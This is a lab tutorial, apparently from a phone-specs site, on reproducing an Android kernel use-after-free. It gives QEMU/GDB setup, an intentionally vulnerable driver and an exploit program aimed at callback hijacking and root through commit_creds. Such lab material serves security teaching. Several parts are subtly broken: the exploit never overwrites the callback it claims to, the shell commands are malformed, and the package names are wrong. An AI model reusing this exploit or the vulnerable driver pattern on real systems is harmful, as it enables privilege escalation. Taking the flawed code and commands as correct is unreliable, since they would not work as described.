Introduction to Android Kernel Vulnerability Analysis
Delving into Android kernel vulnerabilities is a critical skill for security researchers and penetration testers. Unlike user-space exploits, kernel exploits grant ultimate control over the device, bypassing many security mechanisms like SELinux, ASLR, and sandbox protections. This guide details setting up a controlled lab environment to reproduce, analyze, and exploit a hypothetical (but realistic) Android kernel vulnerability, specifically focusing on a Use-After-Free (UAF) scenario within a custom character device driver.
Understanding kernel exploitation requires a blend of reverse engineering, low-level programming, and a deep understanding of operating system internals. This lab will equip you with the foundational knowledge to approach real-world CVEs affecting Android devices.
Setting Up Your Android Kernel Exploitation Lab
A robust lab environment is crucial for effective kernel vulnerability research. We will use a Linux host, Android Open Source Project (AOSP) kernel source, QEMU for emulation, and GDB for debugging.
1. Prerequisites and Toolchain Setup
Ensure your Linux host has the necessary build tools and libraries:
sudo apt update
sudo apt install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison qemu-system-arm aarch64-linux-gnu-gcc
Download the AOSP kernel source. For this lab, we’ll use a generic `goldfish` kernel, which is often used with Android emulators due to its simplicity. You can clone a suitable branch or download a specific version:
git clone https://android.googlesource.com/kernel/goldfish
cd goldfish
git checkout android-goldfish-4.14-release # Or your desired version
Set up environment variables for your cross-compiler:
export ARCH=arm64
export CROSS_COMPILE=aarch64-linux-gnu-
2. Building a Debuggable Android Kernel
To analyze vulnerabilities effectively, we need a kernel with debugging symbols enabled and potentially with KASLR disabled (though we’ll keep it on for realism). Configure the kernel for QEMU and enable debugging options:
make goldfish_defconfig
make menuconfig # Navigate to Kernel Hacking -> Compile-time checks and setup -> Compile the kernel with debug info
make -j$(nproc)
This will produce `arch/arm64/boot/Image` (the kernel image) and `vmlinux` (the unstripped kernel with symbols). Keep `vmlinux` for GDB debugging.
3. Booting the Custom Kernel with QEMU and GDB
You’ll need a root filesystem for Android. For simplicity, you can download a pre-built AOSP `ramdisk.img` or build one from source. Let’s assume you have a `ramdisk.img` available.
Boot the kernel with QEMU, enabling a GDB server on port 1234:
qemu-system-aarch64
-kernel arch/arm64/boot/Image
-initrd ramdisk.img
-append "console=ttyAMA0,115200 root=/dev/ram0 androidboot.console=ttyAMA0 earlyprintk debug"
-m 1024M
-smp 2
-nographic
-s -S
The `-s -S` flags tell QEMU to start a GDB server on port 1234 and wait for a GDB connection before booting. Now, open another terminal and launch GDB:
aarch64-linux-gnu-gdb vmlinux
(gdb) target remote :1234
(gdb) b start_kernel # Set a breakpoint at kernel entry point
(gdb) c # Continue execution
You are now debugging the Android kernel! You can set breakpoints, inspect memory, and step through kernel code.
Analyzing a Hypothetical Use-After-Free (UAF) CVE
Let’s simulate a UAF vulnerability in a custom character device driver named `vulnerable_device`. This driver might allow users to allocate a kernel object, perform operations, and then free it. The UAF occurs if the object pointer is not nulled after `kfree`, leading to subsequent use of freed memory.
1. The Vulnerable Driver (Simplified)
// drivers/char/vulnerable_device.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
struct vulnerable_obj {
int id;
char buffer[64];
void (*callback)(void);
};
static struct vulnerable_obj *global_obj = NULL;
static long vulnerable_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
switch (cmd) {
case 0x13370001: // ALLOC_OBJ
if (global_obj) return -EEXIST;
global_obj = kmalloc(sizeof(*global_obj), GFP_KERNEL);
if (!global_obj) return -ENOMEM;
global_obj->id = 0xDEADBEEF;
global_obj->callback = NULL;
printk(KERN_INFO "vulnerable_device: Object allocated at %pxn", global_obj);
break;
case 0x13370002: // FREE_OBJ
if (!global_obj) return -ENODEV;
printk(KERN_INFO "vulnerable_device: Freeing object at %pxn", global_obj);
kfree(global_obj);
// global_obj = NULL; // MISSING NULLIFICATION - THE UAF BUG
break;
case 0x13370003: // USE_OBJ_BUFFER (UAF trigger)
if (!global_obj) return -ENODEV;
copy_from_user(global_obj->buffer, (void __user *)arg, 64);
printk(KERN_INFO "vulnerable_device: Buffer updated via UAF: %sn", global_obj->buffer);
break;
case 0x13370004: // CALL_OBJ_CALLBACK (UAF trigger for PC control)
if (!global_obj || !global_obj->callback) return -ENODEV;
global_obj->callback();
printk(KERN_INFO "vulnerable_device: Callback executed via UAF!n");
break;
default:
return -EINVAL;
}
return 0;
}
static const struct file_operations vulnerable_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = vulnerable_ioctl,
};
static int __init vulnerable_init(void)
{
register_chrdev(0, "vulnerable_device", &vulnerable_fops);
printk(KERN_INFO "vulnerable_device: module loaded.n");
return 0;
}
static void __exit vulnerable_exit(void)
{
unregister_chrdev(0, "vulnerable_device", &vulnerable_fops);
if (global_obj) kfree(global_obj); // Clean up if not freed by exploit
printk(KERN_INFO "vulnerable_device: module unloaded.n");
}
module_init(vulnerable_init);
module_exit(vulnerable_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("A vulnerable Android kernel device driver.");
Integrate this into your kernel source (e.g., `drivers/char/Kconfig` and `drivers/char/Makefile`), recompile, and boot with QEMU.
2. Triggering the UAF from Userland
A user-space program can interact with this device:
// exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#define DEVICE_PATH "/dev/vulnerable_device"
#define ALLOC_OBJ 0x13370001
#define FREE_OBJ 0x13370002
#define USE_OBJ_BUFFER 0x13370003
#define CALL_OBJ_CALLBACK 0x13370004
void prepare_shell(void) {
printf("Shell function called! Escalating privileges...n");
// In a real exploit, this would call commit_creds(prepare_kernel_cred(0))
// For demonstration, we'll just print a message.
}
int main() {
int fd = open(DEVICE_PATH, O_RDWR);
if (fd < 0) {
perror("Failed to open device");
return 1;
}
printf("[*] Allocating vulnerable object...n");
ioctl(fd, ALLOC_OBJ, 0);
printf("[*] Freeing vulnerable object (UAF created)...n");
ioctl(fd, FREE_OBJ, 0);
// Heap spray to reclaim the freed memory with attacker-controlled data
printf("[*] Performing heap spray to reclaim freed object...n");
// In a real scenario, this would involve creating many kernel objects
// of the same size as `vulnerable_obj` to overwrite its memory.
// For this example, we'll simplify and directly overwrite using another ioctl.
// Reclaim memory with our fake object containing a pointer to prepare_shell
struct vulnerable_obj fake_obj;
fake_obj.id = 0x41414141; // 'AAAA'
strcpy(fake_obj.buffer, "PWNED_BUFFER!");
fake_obj.callback = (void (*)(void))prepare_shell; // Point to our shellcode/function
// Use the USE_OBJ_BUFFER ioctl to overwrite the freed object's memory
// This simulates reclaiming the memory. In a real exploit, this might be
// through another kernel object allocation that happens to get the freed chunk.
printf("[*] Overwriting freed memory via USE_OBJ_BUFFER (simulated reclaim and write)...n");
// Copying fake_obj into the buffer portion of the original object
// This demonstrates overwriting the callback pointer.
ioctl(fd, USE_OBJ_BUFFER, &fake_obj.buffer);
printf("[*] Triggering UAF to execute controlled callback...n");
ioctl(fd, CALL_OBJ_CALLBACK, 0);
close(fd);
return 0;
}
Compile this exploit program on your QEMU Android instance:
aarch64-linux-gnu-gcc exploit.c -o exploit -static
Transfer `exploit` to the QEMU instance via `adb push` or `scp` if enabled, then execute it. When `CALL_OBJ_CALLBACK` is invoked, it will attempt to jump to `prepare_shell`, demonstrating control over instruction pointer (PC) due to the UAF.
Exploitation Strategy: Privilege Escalation
The goal of most kernel exploits is privilege escalation. With control over PC, we can redirect execution to a kernel function that modifies the current process’s credentials (e.g., `commit_creds(prepare_kernel_cred(0))`).
-
Information Leak (KASLR Bypass)
First, if KASLR is enabled, you’ll need a kernel information leak to determine the base address of the kernel and locate functions like `commit_creds`. This often involves leaking pointers from kernel objects or stack, e.g., using another vulnerability or a simple format string bug if available.
-
Arbitrary Read/Write Primitive
A more robust UAF could be leveraged to gain an arbitrary read/write primitive. By grooming the heap, placing a fake object, and then triggering another UAF, you could craft a fake `cred` structure or modify critical kernel pointers.
-
Hijacking Control Flow
As demonstrated, by overwriting a function pointer within a freed object that is later used, an attacker can hijack the program counter. The `callback` in our `vulnerable_obj` serves this purpose. In a real exploit, this callback would point to an ROP chain or directly to a `commit_creds` gadget.
-
Executing `commit_creds`
The `prepare_kernel_cred(0)` function returns a pointer to a new `cred` struct for root. `commit_creds(cred_ptr)` then applies this root `cred` struct to the current process. Executing these two in sequence from kernel mode effectively grants root privileges to the user-space process.
Conclusion
This lab provides a hands-on introduction to Android kernel vulnerability reproduction and exploitation. By setting up a controlled QEMU environment, building a custom kernel, and analyzing a simplified UAF, you’ve gained insight into the complexities of kernel security. While our exploit example was simplified, the principles of heap grooming, information leakage, and control flow hijacking are fundamental to exploiting real-world Android kernel CVEs. Further research involves exploring different vulnerability classes, advanced heap exploitation techniques, and bypassing modern mitigations.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →